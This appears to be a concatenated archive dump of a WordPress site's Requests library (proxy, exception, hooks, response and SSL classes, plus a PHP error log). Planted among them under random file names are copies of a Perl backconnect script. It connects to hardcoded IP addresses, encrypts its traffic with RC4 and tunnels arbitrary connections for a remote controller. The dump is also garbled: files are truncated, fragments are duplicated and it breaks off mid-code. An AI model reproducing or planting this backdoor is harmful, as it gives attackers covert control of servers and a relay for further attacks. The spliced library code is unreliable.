curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); curl_setopt($handle, CURLOPT_PROXY, $this->proxy); if ($this->use_authentication) { curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY); curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string()); } } /** * Alter remote socket information before opening socket connection * * @since 1.6 * @param string $remote_socket Socket connection string */ public function fsockopen_remote_socket(&$remote_socket) { $remote_socket = $this->proxy; } /** * Alter remote path before getting stream data * * @since 1.6 * @param string $path Path to send in HTTP request string ("GET ...") * @param string $url Full URL we're requesting */ public function fsockopen_remote_host_path(&$path, $url) { $path = $url; } /** * Add extra headers to the request before sending * * @since 1.6 * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string())); } /** * Get the authentication string (user:pass) * * @since 1.6 * @return string */ public function get_auth_string() { return $this->user . ':' . $this->pass; } } Exception/Transport/Curl.php000064400000002565152076141160012127 0ustar00type = $type; } if ($code !== null) { $this->code = (int) $code; } if ($message !== null) { $this->reason = $message; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, $this->type, $data, $this->code); } /** * Get the error message. * * @return string */ public function getReason() { return $this->reason; } } Exception/Transport/error_log000064400000004532152076141160012422 0ustar00[26-Jul-2025 21:18:00 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [18-Aug-2025 00:54:09 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [18-Aug-2025 01:03:23 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [26-Aug-2025 21:14:04 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [30-Sep-2025 21:09:12 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [22-Oct-2025 18:28:27 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 [03-Nov-2025 21:15:34 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17 Exception/Transport/3qfjazpo000064400000022033152076141160012161 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.203'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Exception/InvalidArgument.php000064400000002122152076141160012304 0ustar00code = (int) $data->status_code; } parent::__construct($reason, $data); } } Exception/Http/Status414.php000064400000000747152076141160011661 0ustar00 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Exception/Http/Status409.php000064400000000700152076141160011652 0ustar00reason = $reason; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, 'httpresponse', $data, $this->code); } /** * Get the status message. * * @return string */ public function getReason() { return $this->reason; } /** * Get the correct exception class for a given error code * * @param int|bool $code HTTP status code, or false if unavailable * @return string Exception class name to use */ public static function get_class($code) { if (!$code) { return StatusUnknown::class; } $class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code); if (class_exists($class)) { return $class; } return StatusUnknown::class; } } Hooks.php000064400000005730152076141160006350 0ustar000 is executed later * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer. */ public function register($hook, $callback, $priority = 0) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } if (is_callable($callback) === false) { throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback)); } if (InputValidator::is_numeric_array_key($priority) === false) { throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority)); } if (!isset($this->hooks[$hook])) { $this->hooks[$hook] = [ $priority => [], ]; } elseif (!isset($this->hooks[$hook][$priority])) { $this->hooks[$hook][$priority] = []; } $this->hooks[$hook][$priority][] = $callback; } /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array. */ public function dispatch($hook, $parameters = []) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } // Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`. if (is_array($parameters) === false) { throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters)); } if (empty($this->hooks[$hook])) { return false; } if (!empty($parameters)) { // Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0. $parameters = array_values($parameters); } ksort($this->hooks[$hook]); foreach ($this->hooks[$hook] as $priority => $hooked) { foreach ($hooked as $callback) { $callback(...$parameters); } } return true; } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } } Response.php000064400000010271152076141160007057 0ustar00headers = new Headers(); $this->cookies = new Jar(); } /** * Is the response a redirect? * * @return boolean True if redirect (3xx status), false if not. */ public function is_redirect() { $code = $this->status_code; return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400; } /** * Throws an exception if the request was not successful * * @param boolean $allow_redirects Set to false to throw on a 3xx as well * * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`) * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404}) */ public function throw_for_status($allow_redirects = true) { if ($this->is_redirect()) { if ($allow_redirects !== true) { throw new Exception('Redirection not allowed', 'response.no_redirects', $this); } } elseif (!$this->success) { $exception = Http::get_class($this->status_code); throw new $exception(null, $this); } } /** * JSON decode the response body. * * The method parameters are the same as those for the PHP native `json_decode()` function. * * @link https://php.net/json-decode * * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays; * When `false`, JSON objects will be returned as objects. * When `null`, JSON objects will be returned as associative arrays * or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags. * Defaults to `true` (in contrast to the PHP native default of `null`). * @param int $depth Optional. Maximum nesting depth of the structure being decoded. * Defaults to `512`. * @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE, * JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR. * Defaults to `0` (no options set). * * @return array * * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json. */ public function decode_body($associative = true, $depth = 512, $options = 0) { $data = json_decode($this->body, $associative, $depth, $options); if (json_last_error() !== JSON_ERROR_NONE) { $last_error = json_last_error_msg(); throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this); } return $data; } } Ssl.php000064400000012461152076141160006025 0ustar00 0) { // Whitespace detected. This can never be a dNSName. return false; } $parts = explode('.', $reference); if ($parts !== array_filter($parts)) { // DNSName cannot contain two dots next to each other. return false; } // Check the first part of the name $first = array_shift($parts); if (strpos($first, '*') !== false) { // Check that the wildcard is the full part if ($first !== '*') { return false; } // Check that we have at least 3 components (including first) if (count($parts) < 2) { return false; } } // Check the remaining parts foreach ($parts as $part) { if (strpos($part, '*') !== false) { return false; } } // Nothing found, verified! return true; } /** * Match a hostname against a dNSName reference * * @param string|Stringable $host Requested host * @param string|Stringable $reference dNSName to match against * @return boolean Does the domain match? * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object. */ public static function match_domain($host, $reference) { if (InputValidator::is_string_or_stringable($host) === false) { throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host)); } // Check if the reference is blocklisted first if (self::verify_reference_name($reference) !== true) { return false; } // Check for a direct match if ((string) $host === (string) $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's ruleset, // as a wildcard reference is only allowed with 3 parts or more, so the // comparison will never match if host doesn't contain 3 parts or more as well. if (ip2long($host) === false) { $parts = explode('.', $host); $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === (string) $reference) { return true; } } return false; } } Cookie/klo5d5ep000064400000022033152076141160007333 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.157'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); 